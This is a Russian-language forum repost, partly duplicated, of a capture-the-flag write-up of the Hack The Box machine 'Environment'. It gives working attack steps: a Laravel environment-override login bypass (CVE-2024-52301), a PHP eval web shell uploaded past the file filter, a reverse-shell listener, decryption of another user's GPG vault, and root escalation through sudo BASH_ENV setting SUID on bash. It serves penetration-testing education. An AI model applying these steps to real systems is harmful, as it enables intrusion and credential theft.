stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как можно повысить привилегии в Linux, используя настройку env_keep для sudo. Чтобы подобраться к ОС, нам сначала понадобится проэксплуатировать баг CVE-2024-52301 во фреймворке Laravel, обойти авторизацию и через функцию загрузки файла добавить веб‑шелл.
Наша конечная цель — получение прав суперпользователя на машине Environment с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности задания — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
или Зарегистрируйся.
или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
Результат сканирования каталогов с помощью feroxbuster
Находим страницу авторизации /login и еще несколько интересных эндпоинтов, которые без авторизации недоступны.
Содержимое страницы login
Попробуем авторизоваться с любыми учетными данными и просмотрим запрос в Burp Proxy. По названию сессионной куки определяем, что используется движок Laravel.
Запрос в Burp Proxy
Версию Laravel (11.30.0) и PHP находим на странице /mailing.
Содержимое страницы mailing
Первым делом стоит проверить, есть ли для этой версии CMS готовые эксплоиты. Как обычно, хватает запроса к Google.
Поиск эксплоитов в Google
Так мы узнаём о Для просмотра ссылки Войдиили Зарегистрируйся. Эта уязвимость позволяет в запросе указать значение переменной среды при активной директиве register_argc_argv. Пока неясно, как это может нам помочь.
Вернемся к запросу авторизации и поиграем с параметрами. При изменении параметра remember мы получим отладочный лог Laravel, в котором есть интересный блок исходного кода.
Запрос авторизации и ответ сервера
Если установлена переменная среды preprod, то мы автоматически будем залогинены как администратор Laravel. Как раз тут и пригодится Для просмотра ссылки Войдиили Зарегистрируйся, с помощью которой в запросе авторизации устанавливаем переменную среды preprod. Для эксплуатации уязвимости перехватываем запрос к странице login и добавляем ?--env=preprod.
Запрос авторизации
Главная страница сайта
В итоге получаем доступ от имени авторизованного пользователя. В профиле можно загружать файлы на сервер, скорее всего, в этом и есть следующий шаг.
Страница Profile
Ошибка загрузки файла
Перейдем в Burp Repeater и изменим расширение файла на картинку. Так мы поэтапно проверим, что именно фильтруется сервером. Меняем расширение на jpeg, а Content-Type — на image/jpeg, но все равно получаем ту же ошибку.
Запрос на сервер
Теперь добавим к содержимому файла JPEG заголовок GIF89a и повторим запрос. В этот раз файл успешно загружен.
Запрос на сервер
Оставляем заголовок и возвращаем расширение файла .php. В этом случае опять получаем ошибку. Значит, сервер проверяет и расширение файла, и его содержимое.
Запрос на сервер
Проверим несколько расширений, которые могут помочь нам выполнить код PHP, и в итоге остановимся на .php., при котором и загрузка успешна, и файл сохраняется без последней точки.
Запрос на сервер
Выполняем запрос к файлу и пробуем выполнить команду id.
Результат выполнения команды id
На сайте Для просмотра ссылки Войдиили Зарегистрируйся генерируем реверс‑шелл.
Reverse Shells Generator
Теперь запускаем листенер:
И через веб‑шелл выполним реверс‑шелл на Python. Так получаем сессию от имени www-data.
Сессия www-data
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Видим, что он нашел доступный файл GPG, который был изменен за последние пять минут.
Список недавно измененных файлов
А еще нам доступен домашний каталог пользователя hish, включая каталог .gnupg с ключевой информацией GPG.
Содержимое каталога .gnupg
Скопируем всю ключевую информацию пользователя в отдельный каталог, назначим себя ее владельцем и проверим доступные ключи.
Проверка ключей
Нам доступен ключ пользователя hish, а значит, мы можем расшифровать найденный ранее файл.
Содержимое файла
В файле находим учетные данные, которые подходят к аккаунту в системе. Логинимся от имени hish и забираем первый флаг.
Флаг пользователя
Настройки sudoers
Наш пользователь может выполнить /usr/bin/systeminfo от имени пользователя root. Это нам никак не поможет. Но есть кое‑что интересное: настройка env_keep, благодаря которой sudo подставит в команду переменную окружения ENV BASH_ENV. Сохраним в переменную окружения скрипт, который при запуске systeminfo установит S-бит на файл командной оболочки /bin/bash.
Эксплуатация sudo
Проверяем права на файл /bin/bash и видим установленный SUID.
Права на файл bash
Флаг рута
Мы можем выполнять команды от имени root, а значит, машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине Environment с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.67 environment.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Сканер нашел два открытых порта:
- 22 — служба OpenSSH 9.2p1;
- 80 — веб‑сервер Nginx 1.22.1.

Точка входа
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию сайта с помощью Для просмотра ссылки ВойдиСправка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиПри запуске указываем следующие параметры:
- -u — URL;
- -d — глубина сканирования;
- -t — количество потоков;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся).
feroxbuster -u [URL]http://environment.htb/[/URL] -d 1 -t 128 -w directory_2.3_medium_lowercase.txt

Находим страницу авторизации /login и еще несколько интересных эндпоинтов, которые без авторизации недоступны.

Попробуем авторизоваться с любыми учетными данными и просмотрим запрос в Burp Proxy. По названию сессионной куки определяем, что используется движок Laravel.

Версию Laravel (11.30.0) и PHP находим на странице /mailing.

Первым делом стоит проверить, есть ли для этой версии CMS готовые эксплоиты. Как обычно, хватает запроса к Google.

Так мы узнаём о Для просмотра ссылки Войди
Вернемся к запросу авторизации и поиграем с параметрами. При изменении параметра remember мы получим отладочный лог Laravel, в котором есть интересный блок исходного кода.

Если установлена переменная среды preprod, то мы автоматически будем залогинены как администратор Laravel. Как раз тут и пригодится Для просмотра ссылки Войди


В итоге получаем доступ от имени авторизованного пользователя. В профиле можно загружать файлы на сервер, скорее всего, в этом и есть следующий шаг.

Точка опоры
Попробуем загрузить шелл <?php eval($_GET["c"]);?>, но получим ошибку.
Перейдем в Burp Repeater и изменим расширение файла на картинку. Так мы поэтапно проверим, что именно фильтруется сервером. Меняем расширение на jpeg, а Content-Type — на image/jpeg, но все равно получаем ту же ошибку.

Теперь добавим к содержимому файла JPEG заголовок GIF89a и повторим запрос. В этот раз файл успешно загружен.

Оставляем заголовок и возвращаем расширение файла .php. В этом случае опять получаем ошибку. Значит, сервер проверяет и расширение файла, и его содержимое.

Проверим несколько расширений, которые могут помочь нам выполнить код PHP, и в итоге остановимся на .php., при котором и загрузка успешна, и файл сохраняется без последней точки.

Выполняем запрос к файлу и пробуем выполнить команду id.
[URL unfurl="true"]http://environment.htb/storage/files/cmd.php?c=id[/URL]

На сайте Для просмотра ссылки Войди

Теперь запускаем листенер:
pwncat-cs -lp 4321
И через веб‑шелл выполним реверс‑шелл на Python. Так получаем сессию от имени www-data.

Продвижение
Теперь нам необходимо собрать информацию. Я, как обычно, буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Видим, что он нашел доступный файл GPG, который был изменен за последние пять минут.

А еще нам доступен домашний каталог пользователя hish, включая каталог .gnupg с ключевой информацией GPG.

Скопируем всю ключевую информацию пользователя в отдельный каталог, назначим себя ее владельцем и проверим доступные ключи.
Код:
cp -r /home/hish/.gnupg /tmp/r
chmod -R 700 /tmp/r
gpg --homedir /tmp/r --list-secret-keys

Нам доступен ключ пользователя hish, а значит, мы можем расшифровать найденный ранее файл.
gpg --homedir /tmp/r --output /tmp/r/data --decrypt /home/hish/backup/keyvault.gpg

В файле находим учетные данные, которые подходят к аккаунту в системе. Логинимся от имени hish и забираем первый флаг.

Локальное повышение привилегий
Разведку на хосте уже проводили, а со сменой контекста работы в Linux мало что меняется, но все же некоторые места нужно проверить заново. Первое из таких мест — настройки sudoers.sudo -l

Наш пользователь может выполнить /usr/bin/systeminfo от имени пользователя root. Это нам никак не поможет. Но есть кое‑что интересное: настройка env_keep, благодаря которой sudo подставит в команду переменную окружения ENV BASH_ENV. Сохраним в переменную окружения скрипт, который при запуске systeminfo установит S-бит на файл командной оболочки /bin/bash.
Код:
echo 'chmod u+s /bin/bash' > env.sh
chmod +x env.sh
sudo BASH_ENV=./env.sh /usr/bin/systeminfo

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.Проверяем права на файл /bin/bash и видим установленный SUID.

/bin/bash -p

Мы можем выполнять команды от имени root, а значит, машина захвачена!